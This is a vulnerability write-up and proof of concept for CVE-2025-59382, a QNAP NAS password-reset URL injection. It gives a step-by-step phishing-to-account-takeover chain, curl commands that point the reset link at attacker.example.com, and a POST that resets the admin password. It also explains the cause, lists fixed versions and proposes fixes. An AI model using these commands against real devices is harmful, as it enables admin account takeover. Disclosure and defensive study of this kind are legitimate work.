## https://sploitus.com/exploit?id=8DBACF7E-3F6F-5D82-8253-BDF5D073D33E
# CVE-2025-59382: QNAP Password Reset to Account Takeover
Unauthenticated attacker-controlled password reset URL in `/cgi-bin/reset_password.cgi`.
Tested against QuTScloud `c5.2.4.3041 build 20250211` in a lab. QNAP later published this as `CVE-2025-59382` in advisory `QSA-26-10`.
## Short version
An unauthenticated attacker with local network access, or access to an exposed NAS management interface, can inject an arbitrary URL into the official QNAP password reset email by manipulating the `url` parameter of the `send_mail` function in `/cgi-bin/reset_password.cgi`.
The victim receives a real QNAP password reset email from the NAS. The attacker URL is embedded directly into the HTML email body, and QNAP appends the reset token (`rp`) to that URL.
This turns the password reset email into a nice clean phishing-to-account-takeover chain:
1. attacker triggers password reset with their own URL
2. NAS sends the real QNAP reset email to the victim
3. victim clicks the attacker URL
4. attacker receives the `rp` reset token
5. victim enters the verification code (`vc`) into the phishing page
6. attacker resets the admin password and logs in
Needs victim interaction, but no attacker auth.
## Trigger
```bash
curl "http://:8080/cgi-bin/reset_password.cgi?func=send_mail&user=admin&url=https://attacker.example.com/phish"
```
The NAS sends the official reset email and appends the reset token to the attacker URL, for example:
```text
https://attacker.example.com/phish&u=admin&rp=e15a88a01fa81e58352b4b157607cb44
```
The verification code is also shown in the same email. In the lab evidence it looked like this:
```text
Your verification code is: 2FEA2B8B
```
So the phishing page only has to ask the victim for the verification code. The `rp` token already lands on the attacker's server when the link is clicked.
## Password reset
Once the attacker has the `rp` token and the associated `vc` verification code, they can reset the admin password:
```bash
curl -X POST -d "func=reset_user_pw&user=admin&token=e15a88a01fa81e58352b4b157607cb44&vc=725E0F00&new_pw=UHduZWQyMDI2IQ==" \
"http://:8080/cgi-bin/reset_password.cgi"
```
The final reset call has to be a POST. The verification code the victim enters on the fake page is sent to QNAP as `vc=`.
The new password is base64 encoded in `new_pw`. In the PoC this was enough to change the admin password and then log in as admin.
## Why it works
The normal frontend flow builds a local NAS URL like:
```javascript
location.protocol + "//" + location.host + "/cgi-bin/main.html?cp=1"
```
But the backend trusts the client-supplied `url` parameter instead of generating the reset URL itself. It then builds the email link using that value and appends:
```text
&u=&rp=
```
It just trusts whatever gets passed in as `url`.
## Impact
- unauthenticated reset email trigger
- official QNAP email contains attacker-controlled URL
- reset token leaks to attacker when victim clicks
- verification code can be phished from the same email flow
- lab chain proved admin password reset and admin login
The trusted NAS email is doing the delivery.
## Public status
- CVE: `CVE-2025-59382`
- Advisory: `QSA-26-10`
- QNAP advisory release date: `2026-06-17`
- Vendor CWE: `CWE-472`
- Vendor CVSS v4.0: `5.1 Medium`
- QNAP status: resolved
QNAP lists the affected products as:
- QTS `5.2.7`
- QuTS hero `h5.2.8`
- QuTS cloud `c5.2.8`
- QVP `2.7.1`
Fixed versions listed by QNAP:
- QTS `5.2.9.3499`
- QuTS hero `h5.2.9`
- QuTS cloud `C5.2.9`
- QVP `2.8.0`
QNAP described the issue as a remote attacker modifying the password reset URL and tricking a victim into visiting an attacker-controlled reset page, leading to credential theft.
My own lab target was QuTScloud `c5.2.4.3041 build 20250211`. My lab impact was admin password reset and admin login after victim interaction.
Small note: I reproduced this in my lab on `2026-05-09` and sent it to QNAP on `2026-05-11`; they marked it as a duplicate of `INTSI000-9029`. Since QNAP has now published the CVE/advisory, I am publishing the POC. Credits to Tim Coen as the first to find.
## What I would fix
I do not know the exact patch QNAP used. Their advisory only lists fixed versions.
My guess for the right fix is simple: do not let the browser tell the NAS where the reset link should point.
The NAS should build that link itself. If QNAP still needs a `url` parameter for the flow, it should only accept the normal NAS reset page and reject anything external.
I would also encode anything that gets dropped into the email body, and put some rate limiting around unauthenticated reset email requests.
## References
- QNAP advisory: https://www.qnap.com/en/security-advisory/qsa-26-10
- QNAP CVE JSON: https://www.qnap.com/uploads/security-advisories/QSA-26-10/CVE-2025-59382.json
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-59382
- CVE record: https://vulners.com/cve/CVE-2025-59382
---
> **Disclaimer:** This exploit code is published for educational and defensive research purposes. Do not
> use it against systems you do not own or have explicit authorization to test. The author is not
> responsible for misuse.
*Daniel Wade - [GitHub](https://github.com/Rat5ak) 路 [Twitter/X](https://x.com/Nadsec11) 路 [Bluesky](https://bsky.app/profile/nadsec.online) 路 [Mastodon](https://cyberplace.social/@Nadsec) 路 [Medium](https://medium.com/@Nadsec) 路 [nadsec.online](https://nadsec.online)*